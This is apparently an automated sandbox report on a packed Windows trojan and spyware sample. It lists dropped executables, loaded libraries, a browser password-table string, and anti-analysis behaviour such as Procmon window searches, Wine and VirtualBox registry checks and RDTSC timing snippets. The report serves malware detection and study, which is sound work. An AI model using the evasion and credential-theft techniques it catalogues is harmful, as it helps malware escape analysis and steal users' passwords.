Source: file.exe, 00000000.00000003.2620425355.0000000006500000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2611993877.0000000006440000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2614254975.00000000062B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2612235344.0000000006374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2629291347.00000000062B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: ZLIB complexity 0.9979244220219435

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/2@5/2

Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\V6JTG9Z5Z4ZAMITLFW.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2091576690.0000000005E18000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	Virustotal: Detection: 48%
Source: file.exe	ReversingLabs: Detection: 39%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: *(RtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNeh1+{_

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe "C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe "C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Section loaded: sspicli.dll	Jump to behavior

Source: file.exe

Static file information: File size 2994688 > 1048576

Source: file.exe

Static PE information: Raw size of ejiioxjp is bigger than: 0x100000 < 0x2afc00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.d20000.0.unpack :EW;.rsrc :W;.idata :W;ejiioxjp:EW;itphzhqt:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;ejiioxjp:EW;itphzhqt:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Unpacked PE file: 4.2.V6JTG9Z5Z4ZAMITLFW.exe.920000.0.unpack :EW;.rsrc:W;.idata :W;bbzqfojp:EW;ynvwdqnr:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe	Static PE information: real checksum: 0x2dff8b should be: 0x2e1269
Source: V6JTG9Z5Z4ZAMITLFW.exe.0.dr	Static PE information: real checksum: 0x2b68af should be: 0x2c0341

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: ejiioxjp
Source: file.exe	Static PE information: section name: itphzhqt
Source: file.exe	Static PE information: section name: .taggant
Source: V6JTG9Z5Z4ZAMITLFW.exe.0.dr	Static PE information: section name:
Source: V6JTG9Z5Z4ZAMITLFW.exe.0.dr	Static PE information: section name: .idata
Source: V6JTG9Z5Z4ZAMITLFW.exe.0.dr	Static PE information: section name: bbzqfojp
Source: V6JTG9Z5Z4ZAMITLFW.exe.0.dr	Static PE information: section name: ynvwdqnr
Source: V6JTG9Z5Z4ZAMITLFW.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01696CE9 push eax; ret	0_3_01696D41
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01696CE9 push eax; ret	0_3_01696D41
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01696CE9 push eax; ret	0_3_01696D41
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01696CE9 push eax; ret	0_3_01696D41
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01696CE9 push eax; ret	0_3_01696D41
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01691AA4 pushad ; retf	0_3_01691AA5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01691AA4 pushad ; retf	0_3_01691AA5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01691AA4 pushad ; retf	0_3_01691AA5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0168EEB0 pushad ; retf	0_3_0168EEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0168EEB0 pushad ; retf	0_3_0168EEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0168EEB0 pushad ; retf	0_3_0168EEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01698B37 push 04D5A79Eh; retf	0_3_01698B54
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01698B37 push 04D5A79Eh; retf	0_3_01698B54
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01698B37 push 04D5A79Eh; retf	0_3_01698B54
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01698B37 push 04D5A79Eh; retf	0_3_01698B54
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01698B37 push 04D5A79Eh; retf	0_3_01698B54
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01696CE9 push eax; ret	0_3_01696D41
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01696CE9 push eax; ret	0_3_01696D41
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01696CE9 push eax; ret	0_3_01696D41
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01696CE9 push eax; ret	0_3_01696D41
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01696CE9 push eax; ret	0_3_01696D41
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0169CF38 push esp; iretd	0_3_0169CF39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0169CF38 push esp; iretd	0_3_0169CF39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0169CF38 push esp; iretd	0_3_0169CF39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01698B37 push 04D5A79Eh; retf	0_3_01698B54
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01698B37 push 04D5A79Eh; retf	0_3_01698B54
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01698B37 push 04D5A79Eh; retf	0_3_01698B54
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01698B37 push 04D5A79Eh; retf	0_3_01698B54
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01698B37 push 04D5A79Eh; retf	0_3_01698B54
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01696CE9 push eax; ret	0_3_01696D41
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01696CE9 push eax; ret	0_3_01696D41

Source: file.exe	Static PE information: section name: entropy: 7.977204695996007
Source: V6JTG9Z5Z4ZAMITLFW.exe.0.dr	Static PE information: section name: entropy: 7.808125394250483

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7F1F2 second address: D7F1F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF723F second address: EF7245 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7245 second address: EF7255 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F711D40AC56h 0x0000000a jne 00007F711D40AC56h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7255 second address: EF726E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F711CDAA07Fh 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF75CB second address: EF75D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF75D1 second address: EF75D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF75D5 second address: EF75F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F711D40AC69h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7AB3 second address: EF7AC7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 js 00007F711CDAA076h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F711CDAA076h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7C24 second address: EF7C28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7C28 second address: EF7C2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFA1F2 second address: EFA1F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFA2AD second address: EFA2B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFA2B3 second address: EFA2B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFA2B8 second address: EFA319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F711CDAA07Ch 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 55525673h 0x00000013 pushad 0x00000014 adc edx, 0BF3AD1Ch 0x0000001a call 00007F711CDAA080h 0x0000001f mov dword ptr [ebp+122D1C3Ch], ecx 0x00000025 pop esi 0x00000026 popad 0x00000027 lea ebx, dword ptr [ebp+1244F08Ah] 0x0000002d jmp 00007F711CDAA084h 0x00000032 push eax 0x00000033 pushad 0x00000034 jns 00007F711CDAA078h 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFA396 second address: EFA39C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFA39C second address: EFA3A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFA3A0 second address: EFA3B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711D40AC5Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFA3B6 second address: EFA3D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711CDAA088h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFA3D6 second address: EFA3DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFA3DA second address: EFA40B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 or dh, FFFFFF82h 0x0000000b push 00000000h 0x0000000d mov dword ptr [ebp+122D31B5h], ecx 0x00000013 call 00007F711CDAA079h 0x00000018 js 00007F711CDAA07Ah 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 jne 00007F711CDAA078h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFA40B second address: EFA41D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F711D40AC5Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFA41D second address: EFA437 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007F711CDAA07Ch 0x00000014 jne 00007F711CDAA076h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFA437 second address: EFA441 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F711D40AC5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFA441 second address: EFA4CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 jmp 00007F711CDAA085h 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 jmp 00007F711CDAA081h 0x00000016 pop eax 0x00000017 movzx ecx, si 0x0000001a push 00000003h 0x0000001c push 00000000h 0x0000001e push ebx 0x0000001f call 00007F711CDAA078h 0x00000024 pop ebx 0x00000025 mov dword ptr [esp+04h], ebx 0x00000029 add dword ptr [esp+04h], 00000019h 0x00000031 inc ebx 0x00000032 push ebx 0x00000033 ret 0x00000034 pop ebx 0x00000035 ret 0x00000036 mov edx, dword ptr [ebp+122D29EFh] 0x0000003c push 00000000h 0x0000003e jmp 00007F711CDAA086h 0x00000043 push 00000003h 0x00000045 mov ecx, dword ptr [ebp+122D2B82h] 0x0000004b call 00007F711CDAA079h 0x00000050 push ebx 0x00000051 pushad 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFA4CD second address: EFA541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F711D40AC60h 0x00000009 popad 0x0000000a pop ebx 0x0000000b push eax 0x0000000c jmp 00007F711D40AC5Fh 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jmp 00007F711D40AC64h 0x0000001a mov eax, dword ptr [eax] 0x0000001c jnc 00007F711D40AC6Dh 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 pushad 0x00000027 jmp 00007F711D40AC5Eh 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFA541 second address: EFA545 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFA619 second address: EFA61E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFA61E second address: EFA623 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFA623 second address: EFA65E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F711D40AC5Ch 0x0000000d nop 0x0000000e call 00007F711D40AC61h 0x00000013 mov si, DDE2h 0x00000017 pop esi 0x00000018 push 00000000h 0x0000001a movzx edx, si 0x0000001d push 543FE2CDh 0x00000022 pushad 0x00000023 pushad 0x00000024 push edi 0x00000025 pop edi 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B0C2 second address: F1B0C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
